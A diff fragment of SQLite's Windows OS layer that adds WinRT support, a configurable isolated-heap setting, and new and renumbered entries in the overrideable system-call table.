#ifndef SQLITE_WIN32_DBG_BUF_SIZE
+
#  define SQLITE_WIN32_DBG_BUF_SIZE   ((int)(4096-sizeof(DWORD)))
+
#endif
+

+
/*
 * If compiled with SQLITE_WIN32_MALLOC on Windows, we will use the
 * various Win32 API heap functions instead of our own.
 */
#ifdef SQLITE_WIN32_MALLOC
+

+
/*
+
 * If this is non-zero, an isolated heap will be created by the native Win32
+
 * allocator subsystem; otherwise, the default process heap will be used.  This
+
 * setting has no effect when compiling for WinRT.  By default, this is enabled
+
 * and an isolated heap will be created to store all allocated data.
+
 *
+
 ******************************************************************************
+
 * WARNING: It is important to note that when this setting is non-zero and the
+
 *          winMemShutdown function is called (e.g. by the sqlite3_shutdown
+
 *          function), all data that was allocated using the isolated heap will
+
 *          be freed immediately and any attempt to access any of that freed
+
 *          data will almost certainly result in an immediate access violation.
+
 ******************************************************************************
+
 */
+
#ifndef SQLITE_WIN32_HEAP_CREATE
+
#  define SQLITE_WIN32_HEAP_CREATE    (TRUE)
+
#endif
+

/*
 * The initial size of the Win32-specific heap.  This value may be zero.
 */
@@ -32281,17 +32437,11 @@ SQLITE_API int sqlite3_os_type = 0;
static int sqlite3_os_type = 0;
#endif

-
/*
-
** Many system calls are accessed through pointer-to-functions so that
-
** they may be overridden at runtime to facilitate fault injection during
-
** testing and sandboxing.  The following array holds the names and pointers
-
** to all overrideable system calls.
-
*/
-
#if !SQLITE_OS_WINCE
+
#if !SQLITE_OS_WINCE && !SQLITE_OS_WINRT
#  define SQLITE_WIN32_HAS_ANSI
#endif

-
#if SQLITE_OS_WINCE || SQLITE_OS_WINNT
+
#if SQLITE_OS_WINCE || SQLITE_OS_WINNT || SQLITE_OS_WINRT
#  define SQLITE_WIN32_HAS_WIDE
#endif

@@ -32299,40 +32449,35 @@ static int sqlite3_os_type = 0;
#  define SYSCALL sqlite3_syscall_ptr
#endif

-
#if SQLITE_OS_WINCE
-
/*
-
** These macros are necessary because Windows CE does not natively support the
-
** Win32 APIs LockFile, UnlockFile, and LockFileEx.
-
 */
-

-
#  define LockFile(a,b,c,d,e)       winceLockFile(&a, b, c, d, e)
-
#  define UnlockFile(a,b,c,d,e)     winceUnlockFile(&a, b, c, d, e)
-
#  define LockFileEx(a,b,c,d,e,f)   winceLockFileEx(&a, b, c, d, e, f)
-

/*
-
** These are the special syscall hacks for Windows CE.  The locking related
-
** defines here refer to the macros defined just above.
+
** This function is not available on Windows CE or WinRT.
 */

+
#if SQLITE_OS_WINCE || SQLITE_OS_WINRT
#  define osAreFileApisANSI()       1
-
#  define osLockFile                LockFile
-
#  define osUnlockFile              UnlockFile
-
#  define osLockFileEx              LockFileEx
#endif

+
/*
+
** Many system calls are accessed through pointer-to-functions so that
+
** they may be overridden at runtime to facilitate fault injection during
+
** testing and sandboxing.  The following array holds the names and pointers
+
** to all overrideable system calls.
+
*/
static struct win_syscall {
  const char *zName;            /* Name of the sytem call */
  sqlite3_syscall_ptr pCurrent; /* Current value of the system call */
  sqlite3_syscall_ptr pDefault; /* Default value */
} aSyscall[] = {
-
#if !SQLITE_OS_WINCE
+
#if !SQLITE_OS_WINCE && !SQLITE_OS_WINRT
  { "AreFileApisANSI",         (SYSCALL)AreFileApisANSI,         0 },
-

-
#define osAreFileApisANSI ((BOOL(WINAPI*)(VOID))aSyscall[0].pCurrent)
#else
  { "AreFileApisANSI",         (SYSCALL)0,                       0 },
#endif

+
#ifndef osAreFileApisANSI
+
#define osAreFileApisANSI ((BOOL(WINAPI*)(VOID))aSyscall[0].pCurrent)
+
#endif
+

#if SQLITE_OS_WINCE && defined(SQLITE_WIN32_HAS_WIDE)
  { "CharLowerW",              (SYSCALL)CharLowerW,              0 },
#else
@@ -32362,7 +32507,7 @@ static struct win_syscall {
#define osCreateFileA ((HANDLE(WINAPI*)(LPCSTR,DWORD,DWORD, \
        LPSECURITY_ATTRIBUTES,DWORD,DWORD,HANDLE))aSyscall[4].pCurrent)

-
#if defined(SQLITE_WIN32_HAS_WIDE)
+
#if !SQLITE_OS_WINRT && defined(SQLITE_WIN32_HAS_WIDE)
  { "CreateFileW",             (SYSCALL)CreateFileW,             0 },
#else
  { "CreateFileW",             (SYSCALL)0,                       0 },
@@ -32371,28 +32516,23 @@ static struct win_syscall {
#define osCreateFileW ((HANDLE(WINAPI*)(LPCWSTR,DWORD,DWORD, \
        LPSECURITY_ATTRIBUTES,DWORD,DWORD,HANDLE))aSyscall[5].pCurrent)

-
  { "CreateFileMapping",       (SYSCALL)CreateFileMapping,       0 },
-

-
#define osCreateFileMapping ((HANDLE(WINAPI*)(HANDLE,LPSECURITY_ATTRIBUTES, \
-
        DWORD,DWORD,DWORD,LPCTSTR))aSyscall[6].pCurrent)
-

-
#if defined(SQLITE_WIN32_HAS_WIDE)
+
#if !SQLITE_OS_WINRT && defined(SQLITE_WIN32_HAS_WIDE)
  { "CreateFileMappingW",      (SYSCALL)CreateFileMappingW,      0 },
#else
  { "CreateFileMappingW",      (SYSCALL)0,                       0 },
#endif

#define osCreateFileMappingW ((HANDLE(WINAPI*)(HANDLE,LPSECURITY_ATTRIBUTES, \
-
        DWORD,DWORD,DWORD,LPCWSTR))aSyscall[7].pCurrent)
+
        DWORD,DWORD,DWORD,LPCWSTR))aSyscall[6].pCurrent)

-
#if defined(SQLITE_WIN32_HAS_WIDE)
+
#if !SQLITE_OS_WINRT && defined(SQLITE_WIN32_HAS_WIDE)
  { "CreateMutexW",            (SYSCALL)CreateMutexW,            0 },
#else
  { "CreateMutexW",            (SYSCALL)0,                       0 },
#endif

#define osCreateMutexW ((HANDLE(WINAPI*)(LPSECURITY_ATTRIBUTES,BOOL, \
-
        LPCWSTR))aSyscall[8].pCurrent)
+
        LPCWSTR))aSyscall[7].pCurrent)

#if defined(SQLITE_WIN32_HAS_ANSI)
  { "DeleteFileA",             (SYSCALL)DeleteFileA,             0 },
@@ -32400,7 +32540,7 @@ static struct win_syscall {
  { "DeleteFileA",             (SYSCALL)0,                       0 },
#endif

-
#define osDeleteFileA ((BOOL(WINAPI*)(LPCSTR))aSyscall[9].pCurrent)
+
#define osDeleteFileA ((BOOL(WINAPI*)(LPCSTR))aSyscall[8].pCurrent)

#if defined(SQLITE_WIN32_HAS_WIDE)
  { "DeleteFileW",             (SYSCALL)DeleteFileW,             0 },
@@ -32408,7 +32548,7 @@ static struct win_syscall {
  { "DeleteFileW",             (SYSCALL)0,                       0 },
#endif

-
#define osDeleteFileW ((BOOL(WINAPI*)(LPCWSTR))aSyscall[10].pCurrent)
+
#define osDeleteFileW ((BOOL(WINAPI*)(LPCWSTR))aSyscall[9].pCurrent)

#if SQLITE_OS_WINCE
  { "FileTimeToLocalFileTime", (SYSCALL)FileTimeToLocalFileTime, 0 },
@@ -32417,7 +32557,7 @@ static struct win_syscall {
#endif

#define osFileTimeToLocalFileTime ((BOOL(WINAPI*)(CONST FILETIME*, \
-
        LPFILETIME))aSyscall[11].pCurrent)
+
        LPFILETIME))aSyscall[10].pCurrent)

#if SQLITE_OS_WINCE
  { "FileTimeToSystemTime",    (SYSCALL)FileTimeToSystemTime,    0 },
@@ -32426,11 +32566,11 @@ static struct win_syscall {
#endif

#define osFileTimeToSystemTime ((BOOL(WINAPI*)(CONST FILETIME*, \
-
        LPSYSTEMTIME))aSyscall[12].pCurrent)
+
        LPSYSTEMTIME))aSyscall[11].pCurrent)

  { "FlushFileBuffers",        (SYSCALL)FlushFileBuffers,        0 },

-
#define osFlushFileBuffers ((BOOL(WINAPI*)(HANDLE))aSyscall[13].pCurrent)
+
#define osFlushFileBuffers ((BOOL(WINAPI*)(HANDLE))aSyscall[12].pCurrent)

#if defined(SQLITE_WIN32_HAS_ANSI)
  { "FormatMessageA",          (SYSCALL)FormatMessageA,          0 },
@@ -32439,7 +32579,7 @@ static struct win_syscall {
#endif

#define osFormatMessageA ((DWORD(WINAPI*)(DWORD,LPCVOID,DWORD,DWORD,LPSTR, \
-
        DWORD,va_list*))aSyscall[14].pCurrent)
+
        DWORD,va_list*))aSyscall[13].pCurrent)

#if defined(SQLITE_WIN32_HAS_WIDE)
  { "FormatMessageW",          (SYSCALL)FormatMessageW,          0 },
@@ -32448,15 +32588,15 @@ static struct win_syscall {
#endif

#define osFormatMessageW ((DWORD(WINAPI*)(DWORD,LPCVOID,DWORD,DWORD,LPWSTR, \
-
        DWORD,va_list*))aSyscall[15].pCurrent)
+
        DWORD,va_list*))aSyscall[14].pCurrent)

  { "FreeLibrary",             (SYSCALL)FreeLibrary,             0 },

-
#define osFreeLibrary ((BOOL(WINAPI*)(HMODULE))aSyscall[16].pCurrent)
+
#define osFreeLibrary ((BOOL(WINAPI*)(HMODULE))aSyscall[15].pCurrent)

  { "GetCurrentProcessId",     (SYSCALL)GetCurrentProcessId,     0 },

-
#define osGetCurrentProcessId ((DWORD(WINAPI*)(VOID))aSyscall[17].pCurrent)
+
#define osGetCurrentProcessId ((DWORD(WINAPI*)(VOID))aSyscall[16].pCurrent)

#if !SQLITE_OS_WINCE && defined(SQLITE_WIN32_HAS_ANSI)
  { "GetDiskFreeSpaceA",       (SYSCALL)GetDiskFreeSpaceA,       0 },
@@ -32465,16 +32605,16 @@ static struct win_syscall {
#endif

#define osGetDiskFreeSpaceA ((BOOL(WINAPI*)(LPCSTR,LPDWORD,LPDWORD,LPDWORD, \
-
        LPDWORD))aSyscall[18].pCurrent)
+
        LPDWORD))aSyscall[17].pCurrent)

-
#if !SQLITE_OS_WINCE && defined(SQLITE_WIN32_HAS_WIDE)
+
#if !SQLITE_OS_WINCE && !SQLITE_OS_WINRT && defined(SQLITE_WIN32_HAS_WIDE)
  { "GetDiskFreeSpaceW",       (SYSCALL)GetDiskFreeSpaceW,       0 },
#else
  { "GetDiskFreeSpaceW",       (SYSCALL)0,                       0 },
#endif

#define osGetDiskFreeSpaceW ((BOOL(WINAPI*)(LPCWSTR,LPDWORD,LPDWORD,LPDWORD, \
-
        LPDWORD))aSyscall[19].pCurrent)
+
        LPDWORD))aSyscall[18].pCurrent)

#if defined(SQLITE_WIN32_HAS_ANSI)
  { "GetFileAttributesA",      (SYSCALL)GetFileAttributesA,      0 },
@@ -32482,15 +32622,15 @@ static struct win_syscall {
  { "GetFileAttributesA",      (SYSCALL)0,                       0 },
#endif

-
#define osGetFileAttributesA ((DWORD(WINAPI*)(LPCSTR))aSyscall[20].pCurrent)
+
#define osGetFileAttributesA ((DWORD(WINAPI*)(LPCSTR))aSyscall[19].pCurrent)

-
#if defined(SQLITE_WIN32_HAS_WIDE)
+
#if !SQLITE_OS_WINRT && defined(SQLITE_WIN32_HAS_WIDE)
  { "GetFileAttributesW",      (SYSCALL)GetFileAttributesW,      0 },
#else
  { "GetFileAttributesW",      (SYSCALL)0,                       0 },
#endif

-
#define osGetFileAttributesW ((DWORD(WINAPI*)(LPCWSTR))aSyscall[21].pCurrent)
+
#define osGetFileAttributesW ((DWORD(WINAPI*)(LPCWSTR))aSyscall[20].pCurrent)

#if defined(SQLITE_WIN32_HAS_WIDE)
  { "GetFileAttributesExW",    (SYSCALL)GetFileAttributesExW,    0 },
@@ -32499,11 +32639,15 @@ static struct win_syscall {
#endif

#define osGetFileAttributesExW ((BOOL(WINAPI*)(LPCWSTR,GET_FILEEX_INFO_LEVELS, \
-
        LPVOID))aSyscall[22].pCurrent)
+
        LPVOID))aSyscall[21].pCurrent)

+
#if !SQLITE_OS_WINRT
  { "GetFileSize",             (SYSCALL)GetFileSize,             0 },
+
#else
+
  { "GetFileSize",             (SYSCALL)0,                       0 },
+
#endif

-
#define osGetFileSize ((DWORD(WINAPI*)(HANDLE,LPDWORD))aSyscall[23].pCurrent)
+
#define osGetFileSize ((DWORD(WINAPI*)(HANDLE,LPDWORD))aSyscall[22].pCurrent)

#if !SQLITE_OS_WINCE && defined(SQLITE_WIN32_HAS_ANSI)
  { "GetFullPathNameA",        (SYSCALL)GetFullPathNameA,        0 },
@@ -32512,20 +32656,20 @@ static struct win_syscall {
#endif

#define osGetFullPathNameA ((DWORD(WINAPI*)(LPCSTR,DWORD,LPSTR, \
-
        LPSTR*))aSyscall[24].pCurrent)
+
        LPSTR*))aSyscall[23].pCurrent)

-
#if !SQLITE_OS_WINCE && defined(SQLITE_WIN32_HAS_WIDE)
+
#if !SQLITE_OS_WINCE && !SQLITE_OS_WINRT && defined(SQLITE_WIN32_HAS_WIDE)
  { "GetFullPathNameW",        (SYSCALL)GetFullPathNameW,        0 },
#else
  { "GetFullPathNameW",        (SYSCALL)0,                       0 },
#endif

#define osGetFullPathNameW ((DWORD(WINAPI*)(LPCWSTR,DWORD,LPWSTR, \
-
        LPWSTR*))aSyscall[25].pCurrent)
+
        LPWSTR*))aSyscall[24].pCurrent)

  { "GetLastError",            (SYSCALL)GetLastError,            0 },

-
#define osGetLastError ((DWORD(WINAPI*)(VOID))aSyscall[26].pCurrent)
+
#define osGetLastError ((DWORD(WINAPI*)(VOID))aSyscall[25].pCurrent)

#if SQLITE_OS_WINCE
  /* The GetProcAddressA() routine is only available on Windows CE. */
@@ -32537,15 +32681,19 @@ static struct win_syscall {
#endif

#define osGetProcAddressA ((FARPROC(WINAPI*)(HMODULE, \
-
        LPCSTR))aSyscall[27].pCurrent)
+
        LPCSTR))aSyscall[26].pCurrent)

+
#if !SQLITE_OS_WINRT
  { "GetSystemInfo",           (SYSCALL)GetSystemInfo,           0 },
+
#else
+
  { "GetSystemInfo",           (SYSCALL)0,                       0 },
+
#endif

-
#define osGetSystemInfo ((VOID(WINAPI*)(LPSYSTEM_INFO))aSyscall[28].pCurrent)
+
#define osGetSystemInfo ((VOID(WINAPI*)(LPSYSTEM_INFO))aSyscall[27].pCurrent)

  { "GetSystemTime",           (SYSCALL)GetSystemTime,           0 },

-
#define osGetSystemTime ((VOID(WINAPI*)(LPSYSTEMTIME))aSyscall[29].pCurrent)
+
#define osGetSystemTime ((VOID(WINAPI*)(LPSYSTEMTIME))aSyscall[28].pCurrent)

#if !SQLITE_OS_WINCE
  { "GetSystemTimeAsFileTime", (SYSCALL)GetSystemTimeAsFileTime, 0 },
@@ -32554,7 +32702,7 @@ static struct win_syscall {
#endif

#define osGetSystemTimeAsFileTime ((VOID(WINAPI*)( \
-
        LPFILETIME))aSyscall[30].pCurrent)
+
        LPFILETIME))aSyscall[29].pCurrent)

#if defined(SQLITE_WIN32_HAS_ANSI)
  { "GetTempPathA",            (SYSCALL)GetTempPathA,            0 },
@@ -32562,19 +32710,23 @@ static struct win_syscall {
  { "GetTempPathA",            (SYSCALL)0,                       0 },
#endif

-
#define osGetTempPathA ((DWORD(WINAPI*)(DWORD,LPSTR))aSyscall[31].pCurrent)
+
#define osGetTempPathA ((DWORD(WINAPI*)(DWORD,LPSTR))aSyscall[30].pCurrent)

-
#if defined(SQLITE_WIN32_HAS_WIDE)
+
#if !SQLITE_OS_WINRT && defined(SQLITE_WIN32_HAS_WIDE)
  { "GetTempPathW",            (SYSCALL)GetTempPathW,            0 },
#else
  { "GetTempPathW",            (SYSCALL)0,                       0 },
#endif

-
#define osGetTempPathW ((DWORD(WINAPI*)(DWORD,LPWSTR))aSyscall[32].pCurrent)
+
#define osGetTempPathW ((DWORD(WINAPI*)(DWORD,LPWSTR))aSyscall[31].pCurrent)

+
#if !SQLITE_OS_WINRT
  { "GetTickCount",            (SYSCALL)GetTickCount,            0 },
+
#else
+
  { "GetTickCount",            (SYSCALL)0,                       0 },
+
#endif

-
#define osGetTickCount ((DWORD(WINAPI*)(VOID))aSyscall[33].pCurrent)
+
#define osGetTickCount ((DWORD(WINAPI*)(VOID))aSyscall[32].pCurrent)

#if defined(SQLITE_WIN32_HAS_ANSI)
  { "GetVersionExA",           (SYSCALL)GetVersionExA,           0 },
@@ -32583,40 +32735,52 @@ static struct win_syscall {
#endif

#define osGetVersionExA ((BOOL(WINAPI*)( \
-
        LPOSVERSIONINFOA))aSyscall[34].pCurrent)
+
        LPOSVERSIONINFOA))aSyscall[33].pCurrent)

  { "HeapAlloc",               (SYSCALL)HeapAlloc,               0 },

#define osHeapAlloc ((LPVOID(WINAPI*)(HANDLE,DWORD, \
-
        SIZE_T))aSyscall[35].pCurrent)
+
        SIZE_T))aSyscall[34].pCurrent)

+
#if !SQLITE_OS_WINRT
  { "HeapCreate",              (SYSCALL)HeapCreate,              0 },
+
#else
+
  { "HeapCreate",              (SYSCALL)0,                       0 },
+
#endif

#define osHeapCreate ((HANDLE(WINAPI*)(DWORD,SIZE_T, \
-
        SIZE_T))aSyscall[36].pCurrent)
+
        SIZE_T))aSyscall[35].pCurrent)

+
#if !SQLITE_OS_WINRT
  { "HeapDestroy",             (SYSCALL)HeapDestroy,             0 },
+
#else
+
  { "HeapDestroy",             (SYSCALL)0,                       0 },
+
#endif

-
#define osHeapDestroy ((BOOL(WINAPI*)(HANDLE))aSyscall[37].pCurrent)
+
#define osHeapDestroy ((BOOL(WINAPI*)(HANDLE))aSyscall[36].pCurrent)

  { "HeapFree",                (SYSCALL)HeapFree,                0 },

-
#define osHeapFree ((BOOL(WINAPI*)(HANDLE,DWORD,LPVOID))aSyscall[38].pCurrent)
+
#define osHeapFree ((BOOL(WINAPI*)(HANDLE,DWORD,LPVOID))aSyscall[37].pCurrent)

  { "HeapReAlloc",             (SYSCALL)HeapReAlloc,             0 },

#define osHeapReAlloc ((LPVOID(WINAPI*)(HANDLE,DWORD,LPVOID, \
-
        SIZE_T))aSyscall[39].pCurrent)
+
        SIZE_T))aSyscall[38].pCurrent)

  { "HeapSize",                (SYSCALL)HeapSize,                0 },

#define osHeapSize ((SIZE_T(WINAPI*)(HANDLE,DWORD, \
-
        LPCVOID))aSyscall[40].pCurrent)
+
        LPCVOID))aSyscall[39].pCurrent)

+
#if !SQLITE_OS_WINRT
  { "HeapValidate",            (SYSCALL)HeapValidate,            0 },
+
#else
+
  { "HeapValidate",            (SYSCALL)0,                       0 },
+
#endif

#define osHeapValidate ((BOOL(WINAPI*)(HANDLE,DWORD, \
-
        LPCVOID))aSyscall[41].pCurrent)
+
        LPCVOID))aSyscall[40].pCurrent)

#if defined(SQLITE_WIN32_HAS_ANSI)
  { "LoadLibraryA",            (SYSCALL)LoadLibraryA,            0 },
@@ -32624,107 +32788,247 @@ static struct win_syscall {
  { "LoadLibraryA",            (SYSCALL)0,                       0 },
#endif

-
#define osLoadLibraryA ((HMODULE(WINAPI*)(LPCSTR))aSyscall[42].pCurrent)
+
#define osLoadLibraryA ((HMODULE(WINAPI*)(LPCSTR))aSyscall[41].pCurrent)

-
#if defined(SQLITE_WIN32_HAS_WIDE)
+
#if !SQLITE_OS_WINRT && defined(SQLITE_WIN32_HAS_WIDE)
  { "LoadLibraryW",            (SYSCALL)LoadLibraryW,            0 },
#else
  { "LoadLibraryW",            (SYSCALL)0,                       0 },
#endif

-
#define osLoadLibraryW ((HMODULE(WINAPI*)(LPCWSTR))aSyscall[43].pCurrent)
+
#define osLoadLibraryW ((HMODULE(WINAPI*)(LPCWSTR))aSyscall[42].pCurrent)

+
#if !SQLITE_OS_WINRT
  { "LocalFree",               (SYSCALL)LocalFree,               0 },
+
#else
+
  { "LocalFree",               (SYSCALL)0,                       0 },
+
#endif

-
#define osLocalFree ((HLOCAL(WINAPI*)(HLOCAL))aSyscall[44].pCurrent)
+
#define osLocalFree ((HLOCAL(WINAPI*)(HLOCAL))aSyscall[43].pCurrent)

-
#if !SQLITE_OS_WINCE
+
#if !SQLITE_OS_WINCE && !SQLITE_OS_WINRT
  { "LockFile",                (SYSCALL)LockFile,                0 },
-

-
#define osLockFile ((BOOL(WINAPI*)(HANDLE,DWORD,DWORD,DWORD, \
-
        DWORD))aSyscall[45].pCurrent)
#else
  { "LockFile",                (SYSCALL)0,                       0 },
#endif

+
#ifndef osLockFile
+
#define osLockFile ((BOOL(WINAPI*)(HANDLE,DWORD,DWORD,DWORD, \
+
        DWORD))aSyscall[44].pCurrent)
+
#endif
+

#if !SQLITE_OS_WINCE
  { "LockFileEx",              (SYSCALL)LockFileEx,              0 },
-

-
#define osLockFileEx ((BOOL(WINAPI*)(HANDLE,DWORD,DWORD,DWORD,DWORD, \
-
        LPOVERLAPPED))aSyscall[46].pCurrent)
#else
  { "LockFileEx",              (SYSCALL)0,                       0 },
#endif

+
#ifndef osLockFileEx
+
#define osLockFileEx ((BOOL(WINAPI*)(HANDLE,DWORD,DWORD,DWORD,DWORD, \
+
        LPOVERLAPPED))aSyscall[45].pCurrent)
+
#endif
+

+
#if !SQLITE_OS_WINRT
  { "MapViewOfFile",           (SYSCALL)MapViewOfFile,           0 },
+
#else
+
  { "MapViewOfFile",           (SYSCALL)0,                       0 },
+
#endif

#define osMapViewOfFile ((LPVOID(WINAPI*)(HANDLE,DWORD,DWORD,DWORD, \
-
        SIZE_T))aSyscall[47].pCurrent)
+
        SIZE_T))aSyscall[46].pCurrent)

  { "MultiByteToWideChar",     (SYSCALL)MultiByteToWideChar,     0 },

#define osMultiByteToWideChar ((int(WINAPI*)(UINT,DWORD,LPCSTR,int,LPWSTR, \
-
        int))aSyscall[48].pCurrent)
+
        int))aSyscall[47].pCurrent)

  { "QueryPerformanceCounter", (SYSCALL)QueryPerformanceCounter, 0 },

#define osQueryPerformanceCounter ((BOOL(WINAPI*)( \
-
        LARGE_INTEGER*))aSyscall[49].pCurrent)
+
        LARGE_INTEGER*))aSyscall[48].pCurrent)

  { "ReadFile",                (SYSCALL)ReadFile,                0 },

#define osReadFile ((BOOL(WINAPI*)(HANDLE,LPVOID,DWORD,LPDWORD, \
-
        LPOVERLAPPED))aSyscall[50].pCurrent)
+
        LPOVERLAPPED))aSyscall[49].pCurrent)

  { "SetEndOfFile",            (SYSCALL)SetEndOfFile,            0 },

-
#define osSetEndOfFile ((BOOL(WINAPI*)(HANDLE))aSyscall[51].pCurrent)
+
#define osSetEndOfFile ((BOOL(WINAPI*)(HANDLE))aSyscall[50].pCurrent)

+
#if !SQLITE_OS_WINRT
  { "SetFilePointer",          (SYSCALL)SetFilePointer,          0 },
+
#else
+
  { "SetFilePointer",          (SYSCALL)0,                       0 },
+
#endif

#define osSetFilePointer ((DWORD(WINAPI*)(HANDLE,LONG,PLONG, \
-
        DWORD))aSyscall[52].pCurrent)
+
        DWORD))aSyscall[51].pCurrent)

+
#if !SQLITE_OS_WINRT
  { "Sleep",                   (SYSCALL)Sleep,                   0 },
+
#else
+
  { "Sleep",                   (SYSCALL)0,                       0 },
+
#endif

-
#define osSleep ((VOID(WINAPI*)(DWORD))aSyscall[53].pCurrent)
+
#define osSleep ((VOID(WINAPI*)(DWORD))aSyscall[52].pCurrent)

  { "SystemTimeToFileTime",    (SYSCALL)SystemTimeToFileTime,    0 },

#define osSystemTimeToFileTime ((BOOL(WINAPI*)(CONST SYSTEMTIME*, \
-
        LPFILETIME))aSyscall[54].pCurrent)
+
        LPFILETIME))aSyscall[53].pCurrent)

-
#if !SQLITE_OS_WINCE
+
#if !SQLITE_OS_WINCE && !SQLITE_OS_WINRT
  { "UnlockFile",              (SYSCALL)UnlockFile,              0 },
-

-
#define osUnlockFile ((BOOL(WINAPI*)(HANDLE,DWORD,DWORD,DWORD, \
-
        DWORD))aSyscall[55].pCurrent)
#else
  { "UnlockFile",              (SYSCALL)0,                       0 },
#endif

+
#ifndef osUnlockFile
+
#define osUnlockFile ((BOOL(WINAPI*)(HANDLE,DWORD,DWORD,DWORD, \
+
        DWORD))aSyscall[54].pCurrent)
+
#endif
+

#if !SQLITE_OS_WINCE
  { "UnlockFileEx",            (SYSCALL)UnlockFileEx,            0 },
-

-
#define osUnlockFileEx ((BOOL(WINAPI*)(HANDLE,DWORD,DWORD,DWORD, \
-
        LPOVERLAPPED))aSyscall[56].pCurrent)
#else
  { "UnlockFileEx",            (SYSCALL)0,                       0 },
#endif

+
#define osUnlockFileEx ((BOOL(WINAPI*)(HANDLE,DWORD,DWORD,DWORD, \
+
        LPOVERLAPPED))aSyscall[55].pCurrent)
+

  { "UnmapViewOfFile",         (SYSCALL)UnmapViewOfFile,         0 },

-
#define osUnmapViewOfFile ((BOOL(WINAPI*)(LPCVOID))aSyscall[57].pCurrent)
+
#define osUnmapViewOfFile ((BOOL(WINAPI*)(LPCVOID))aSyscall[56].pCurrent)

  { "WideCharToMultiByte",     (SYSCALL)WideCharToMultiByte,     0 },

#define osWideCharToMultiByte ((int(WINAPI*)(UINT,DWORD,LPCWSTR,int,LPSTR,int, \
-
        LPCSTR,LPBOOL))aSyscall[58].pCurrent)
+
        LPCSTR,LPBOOL))aSyscall[57].pCurrent)

  { "WriteFile",               (SYSCALL)WriteFile,               0 },

#define osWriteFile ((BOOL(WINAPI*)(HANDLE,LPCVOID,DWORD,LPDWORD, \
-
        LPOVERLAPPED))aSyscall[59].pCurrent)
+
        LPOVERLAPPED))aSyscall[58].pCurrent)
+

+
#if SQLITE_OS_WINRT
+
  { "CreateEventExW",          (SYSCALL)CreateEventExW,          0 },
+
#else
+
  { "CreateEventExW",          (SYSCALL)0,                       0 },
+
#endif
+

+
#define osCreateEventExW ((HANDLE(WINAPI*)(LPSECURITY_ATTRIBUTES,LPCWSTR, \
+
        DWORD,DWORD))aSyscall[59].pCurrent)
+

+
#if !SQLITE_OS_WINRT
+
  { "WaitForSingleObject",     (SYSCALL)WaitForSingleObject,     0 },
+
#else
+
  { "WaitForSingleObject",     (SYSCALL)0,                       0 },
+
#endif
+

+
#define osWaitForSingleObject ((DWORD(WINAPI*)(HANDLE, \
+
        DWORD))aSyscall[60].pCurrent)
+

+
#if !SQLITE_OS_WINCE
+
  { "WaitForSingleObjectEx",   (SYSCALL)WaitForSingleObjectEx,   0 },
+
#else
+
  { "WaitForSingleObjectEx",   (SYSCALL)0,                       0 },
+
#endif
+

+
#define osWaitForSingleObjectEx ((DWORD(WINAPI*)(HANDLE,DWORD, \
+
        BOOL))aSyscall[61].pCurrent)
+

+
#if !SQLITE_OS_WINCE
+
  { "SetFilePointerEx",        (SYSCALL)SetFilePointerEx,        0 },
+
#else
+
  { "SetFilePointerEx",        (SYSCALL)0,                       0 },
+
#endif
+

+
#define osSetFilePointerEx ((BOOL(WINAPI*)(HANDLE,LARGE_INTEGER, \
+
        PLARGE_INTEGER,DWORD))aSyscall[62].pCurrent)
+

+
#if SQLITE_OS_WINRT
+
  { "GetFileInformationByHandleEx", (SYSCALL)GetFileInformationByHandleEx, 0 },
+
#else
+
  { "GetFileInformationByHandleEx", (SYSCALL)0,                  0 },
+
#endif
+

+
#define osGetFileInformationByHandleEx ((BOOL(WINAPI*)(HANDLE, \
+
        FILE_INFO_BY_HANDLE_CLASS,LPVOID,DWORD))aSyscall[63].pCurrent)
+

+
#if SQLITE_OS_WINRT
+
  { "MapViewOfFileFromApp",    (SYSCALL)MapViewOfFileFromApp,    0 },
+
#else
+
  { "MapViewOfFileFromApp",    (SYSCALL)0,                       0 },
+
#endif
+

+
#define osMapViewOfFileFromApp ((LPVOID(WINAPI*)(HANDLE,ULONG,ULONG64, \
+
        SIZE_T))aSyscall[64].pCurrent)
+

+
#if SQLITE_OS_WINRT
+
  { "CreateFile2",             (SYSCALL)CreateFile2,             0 },
+
#else
+
  { "CreateFile2",             (SYSCALL)0,                       0 },
+
#endif
+

+
#define osCreateFile2 ((HANDLE(WINAPI*)(LPCWSTR,DWORD,DWORD,DWORD, \
+
        LPCREATEFILE2_EXTENDED_PARAMETERS))aSyscall[65].pCurrent)
+

+
#if SQLITE_OS_WINRT
+
  { "LoadPackagedLibrary",     (SYSCALL)LoadPackagedLibrary,     0 },
+
#else
+
  { "LoadPackagedLibrary",     (SYSCALL)0,                       0 },
+
#endif
+

+
#define osLoadPackagedLibrary ((HMODULE(WINAPI*)(LPCWSTR, \
+
        DWORD))aSyscall[66].pCurrent)
+

+
#if SQLITE_OS_WINRT
+
  { "GetTickCount64",          (SYSCALL)GetTickCount64,          0 },
+
#else
+
  { "GetTickCount64",          (SYSCALL)0,                       0 },
+
#endif
+

+
#define osGetTickCount64 ((ULONGLONG(WINAPI*)(VOID))aSyscall[67].pCurrent)
+

+
#if SQLITE_OS_WINRT
+
  { "GetNativeSystemInfo",     (SYSCALL)GetNativeSystemInfo,     0 },
+
#else
+
  { "GetNativeSystemInfo",     (SYSCALL)0,                       0 },
+
#endif
+

+
#define osGetNativeSystemInfo ((VOID(WINAPI*)( \
+
        LPSYSTEM_INFO))aSyscall[68].pCurrent)
+

+
#if defined(SQLITE_WIN32_HAS_ANSI)
+
  { "OutputDebugStringA",      (SYSCALL)OutputDebugStringA,      0 },
+
#else
+
  { "OutputDebugStringA",      (SYSCALL)0,                       0 },
+
#endif
+

+
#define osOutputDebugStringA ((VOID(WINAPI*)(LPCSTR))aSyscall[69].pCurrent)
+

+
#if defined(SQLITE_WIN32_HAS_WIDE)
+
  { "OutputDebugStringW",      (SYSCALL)OutputDebugStringW,      0 },
+
#else
+
  { "OutputDebugStringW",      (SYSCALL)0,                       0 },
+
#endif
+

+
#define osOutputDebugStringW ((VOID(WINAPI*)(LPCWSTR))aSyscall[70].pCurrent)
+

+
  { "GetProcessHeap",          (SYSCALL)GetProcessHeap,          0 },
+

+
#define osGetProcessHeap ((HANDLE(WINAPI*)(VOID))aSyscall[71].pCurrent)
+

+
#if SQLITE_OS_WINRT
+
  { "CreateFileMappingFromApp", (SYSCALL)CreateFileMappingFromApp, 0 },
+
#else
+
  { "CreateFileMappingFromApp", (SYSCALL)0,                      0 },
+
#endif
+

+
#define osCreateFileMappingFromApp ((HANDLE(WINAPI*)(HANDLE, \
+
        LPSECURITY_ATTRIBUTES,ULONG,ULONG64,LPCWSTR))aSyscall[72].pCurrent)

}; /* End of the overrideable system calls */

@@ -32812,6 +33116,64 @@ static const char *winNextSystemCall(sqlite3_vfs *p, const char *zName){
}

